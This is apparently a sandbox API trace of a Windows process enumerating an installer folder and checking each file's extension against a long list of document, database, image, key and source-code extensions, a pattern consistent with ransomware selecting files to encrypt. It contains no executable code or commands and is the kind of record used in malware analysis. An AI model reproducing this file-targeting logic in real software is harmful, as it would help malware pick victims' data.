	[0070.019] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".odc") returned 4
	[0070.019] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".odm") returned 4
	[0070.019] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".odp") returned 4
	[0070.019] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".ods") returned 4
	[0070.019] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".oft") returned 4
	[0070.019] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".one") returned 4
	[0070.020] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".onepkg") returned 7
	[0070.020] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0070.020] lstrlenW (lpString=".onetoc2") returned 8
	[0070.020] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0070.020] lstrlenW (lpString=".opt") returned 4
	[0070.020] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".oqy") returned 4
	[0070.020] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".orf") returned 4
	[0070.020] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".p12") returned 4
	[0070.020] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".p7b") returned 4
	[0070.020] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".p7c") returned 4
	[0070.020] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pam") returned 4
	[0070.020] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pbm") returned 4
	[0070.020] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pct") returned 4
	[0070.020] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pcx") returned 4
	[0070.020] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pdd") returned 4
	[0070.020] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pdf") returned 4
	[0070.020] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pdp") returned 4
	[0070.020] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pef") returned 4
	[0070.020] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0070.020] lstrlenW (lpString=".pem") returned 4
	[0070.021] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pff") returned 4
	[0070.021] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pfm") returned 4
	[0070.021] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pfx") returned 4
	[0070.021] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pgm") returned 4
	[0070.021] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".php") returned 4
	[0070.021] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".php3") returned 5
	[0070.021] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0070.021] lstrlenW (lpString=".php4") returned 5
	[0070.021] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0070.021] lstrlenW (lpString=".php5") returned 5
	[0070.021] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0070.021] lstrlenW (lpString=".phtml") returned 6
	[0070.021] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0070.021] lstrlenW (lpString=".pict") returned 5
	[0070.021] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0070.021] lstrlenW (lpString=".pl") returned 3
	[0070.021] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0070.021] lstrlenW (lpString=".pls") returned 4
	[0070.021] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pm") returned 3
	[0070.021] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0070.021] lstrlenW (lpString=".png") returned 4
	[0070.021] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pnm") returned 4
	[0070.021] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0070.021] lstrlenW (lpString=".pot") returned 4
	[0070.021] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".potm") returned 5
	[0070.022] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0070.022] lstrlenW (lpString=".potx") returned 5
	[0070.022] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0070.022] lstrlenW (lpString=".ppa") returned 4
	[0070.022] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".ppam") returned 5
	[0070.022] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0070.022] lstrlenW (lpString=".ppm") returned 4
	[0070.022] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".pps") returned 4
	[0070.022] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".ppsm") returned 5
	[0070.022] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0070.022] lstrlenW (lpString=".ppt") returned 4
	[0070.022] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".pptm") returned 5
	[0070.022] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0070.022] lstrlenW (lpString=".pptx") returned 5
	[0070.022] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0070.022] lstrlenW (lpString=".prn") returned 4
	[0070.022] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".ps") returned 3
	[0070.022] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0070.022] lstrlenW (lpString=".psb") returned 4
	[0070.022] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".psd") returned 4
	[0070.022] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".pst") returned 4
	[0070.022] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".ptx") returned 4
	[0070.022] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".pub") returned 4
	[0070.022] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0070.022] lstrlenW (lpString=".pwm") returned 4
	[0070.023] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0070.023] lstrlenW (lpString=".pxr") returned 4
	[0070.023] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0070.023] lstrlenW (lpString=".py") returned 3
	[0070.023] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0070.023] lstrlenW (lpString=".qt") returned 3
	[0070.023] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0070.023] lstrlenW (lpString=".r3d") returned 4
	[0070.023] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0070.023] lstrlenW (lpString=".raf") returned 4
	[0070.023] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0070.023] lstrlenW (lpString=".rar") returned 4
	[0070.023] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.023] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.023] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.023] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.023] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0070.024] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.024] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0070.024] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0070.024] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0070.024] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.024] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.024] lstrlenW (lpString="eula.rtf") returned 8
	[0070.024] lstrlenW (lpString=".1cd") returned 4
	[0070.024] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.024] lstrlenW (lpString=".3ds") returned 4
	[0070.024] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0070.024] lstrlenW (lpString=".3fr") returned 4
	[0070.024] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0070.024] lstrlenW (lpString=".3g2") returned 4
	[0070.025] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".3gp") returned 4
	[0070.025] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".7z") returned 3
	[0070.025] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.025] lstrlenW (lpString=".accda") returned 6
	[0070.025] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0070.025] lstrlenW (lpString=".accdb") returned 6
	[0070.025] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0070.025] lstrlenW (lpString=".accdc") returned 6
	[0070.025] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0070.025] lstrlenW (lpString=".accde") returned 6
	[0070.025] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0070.025] lstrlenW (lpString=".accdt") returned 6
	[0070.025] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0070.025] lstrlenW (lpString=".accdw") returned 6
	[0070.025] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0070.025] lstrlenW (lpString=".adb") returned 4
	[0070.025] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".adp") returned 4
	[0070.025] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai") returned 3
	[0070.025] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai3") returned 4
	[0070.025] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai4") returned 4
	[0070.025] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai5") returned 4
	[0070.025] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai6") returned 4
	[0070.025] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai7") returned 4
	[0070.025] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0070.025] lstrlenW (lpString=".ai8") returned 4
	[0070.026] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".anim") returned 5
	[0070.026] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0070.026] lstrlenW (lpString=".arw") returned 4
	[0070.026] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".as") returned 3
	[0070.026] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0070.026] lstrlenW (lpString=".asa") returned 4
	[0070.026] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".asc") returned 4
	[0070.026] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".ascx") returned 5
	[0070.026] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0070.026] lstrlenW (lpString=".asm") returned 4
	[0070.026] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".asmx") returned 5
	[0070.026] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0070.026] lstrlenW (lpString=".asp") returned 4
	[0070.026] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".aspx") returned 5
	[0070.026] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0070.026] lstrlenW (lpString=".asr") returned 4
	[0070.026] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".asx") returned 4
	[0070.026] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".avi") returned 4
	[0070.026] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".avs") returned 4
	[0070.026] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".backup") returned 7
	[0070.026] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0070.026] lstrlenW (lpString=".bak") returned 4
	[0070.026] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0070.026] lstrlenW (lpString=".bay") returned 4
	[0070.026] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".bd") returned 3
	[0070.027] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0070.027] lstrlenW (lpString=".bin") returned 4
	[0070.027] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".bmp") returned 4
	[0070.027] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".bz2") returned 4
	[0070.027] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".c") returned 2
	[0070.027] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0070.027] lstrlenW (lpString=".cdr") returned 4
	[0070.027] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".cer") returned 4
	[0070.027] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".cf") returned 3
	[0070.027] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0070.027] lstrlenW (lpString=".cfc") returned 4
	[0070.027] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".cfm") returned 4
	[0070.027] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".cfml") returned 5
	[0070.027] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0070.027] lstrlenW (lpString=".cfu") returned 4
	[0070.027] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".chm") returned 4
	[0070.027] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".cin") returned 4
	[0070.027] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".class") returned 6
	[0070.027] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0070.027] lstrlenW (lpString=".clx") returned 4
	[0070.027] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0070.027] lstrlenW (lpString=".config") returned 7
	[0070.027] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0070.027] lstrlenW (lpString=".cpp") returned 4
	[0070.027] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".cr2") returned 4
	[0070.028] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".crt") returned 4
	[0070.028] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".crw") returned 4
	[0070.028] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".cs") returned 3
	[0070.028] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0070.028] lstrlenW (lpString=".css") returned 4
	[0070.028] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".csv") returned 4
	[0070.028] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".cub") returned 4
	[0070.028] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dae") returned 4
	[0070.028] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dat") returned 4
	[0070.028] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".db") returned 3
	[0070.028] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0070.028] lstrlenW (lpString=".dbf") returned 4
	[0070.028] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dbx") returned 4
	[0070.028] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dc3") returned 4
	[0070.028] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dcm") returned 4
	[0070.028] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dcr") returned 4
	[0070.028] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".der") returned 4
	[0070.028] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dib") returned 4
	[0070.028] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0070.028] lstrlenW (lpString=".dic") returned 4
	[0070.028] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dif") returned 4
	[0070.029] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".divx") returned 5
	[0070.029] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0070.029] lstrlenW (lpString=".djvu") returned 5
	[0070.029] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0070.029] lstrlenW (lpString=".dng") returned 4
	[0070.029] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".doc") returned 4
	[0070.029] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".docm") returned 5
	[0070.029] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0070.029] lstrlenW (lpString=".docx") returned 5
	[0070.029] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.029] lstrlenW (lpString=".dot") returned 4
	[0070.029] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dotm") returned 5
	[0070.029] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0070.029] lstrlenW (lpString=".dotx") returned 5
	[0070.029] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0070.029] lstrlenW (lpString=".dpx") returned 4
	[0070.029] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dqy") returned 4
	[0070.029] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dsn") returned 4
	[0070.029] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dt") returned 3
	[0070.029] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0070.029] lstrlenW (lpString=".dtd") returned 4
	[0070.029] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dwg") returned 4
	[0070.029] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dwt") returned 4
	[0070.029] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0070.029] lstrlenW (lpString=".dx") returned 3
	[0070.030] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0070.030] lstrlenW (lpString=".dxf") returned 4
	[0070.030] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".edml") returned 5
	[0070.030] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0070.030] lstrlenW (lpString=".efd") returned 4
	[0070.030] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".elf") returned 4
	[0070.030] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".emf") returned 4
	[0070.030] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".emz") returned 4
	[0070.030] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".epf") returned 4
	[0070.030] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".eps") returned 4
	[0070.030] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".epsf") returned 5
	[0070.030] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0070.030] lstrlenW (lpString=".epsp") returned 5
	[0070.030] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0070.030] lstrlenW (lpString=".erf") returned 4
	[0070.030] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".exr") returned 4
	[0070.030] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".f4v") returned 4
	[0070.030] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".fido") returned 5
	[0070.030] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0070.030] lstrlenW (lpString=".flm") returned 4
	[0070.030] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".flv") returned 4
	[0070.030] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".frm") returned 4
	[0070.030] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0070.030] lstrlenW (lpString=".fxg") returned 4
	[0070.031] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".geo") returned 4
	[0070.031] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".gif") returned 4
	[0070.031] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".grs") returned 4
	[0070.031] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".gz") returned 3
	[0070.031] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0070.031] lstrlenW (lpString=".h") returned 2
	[0070.031] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0070.031] lstrlenW (lpString=".hdr") returned 4
	[0070.031] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".hpp") returned 4
	[0070.031] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".hta") returned 4
	[0070.031] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".htc") returned 4
	[0070.031] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".htm") returned 4
	[0070.031] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".html") returned 5
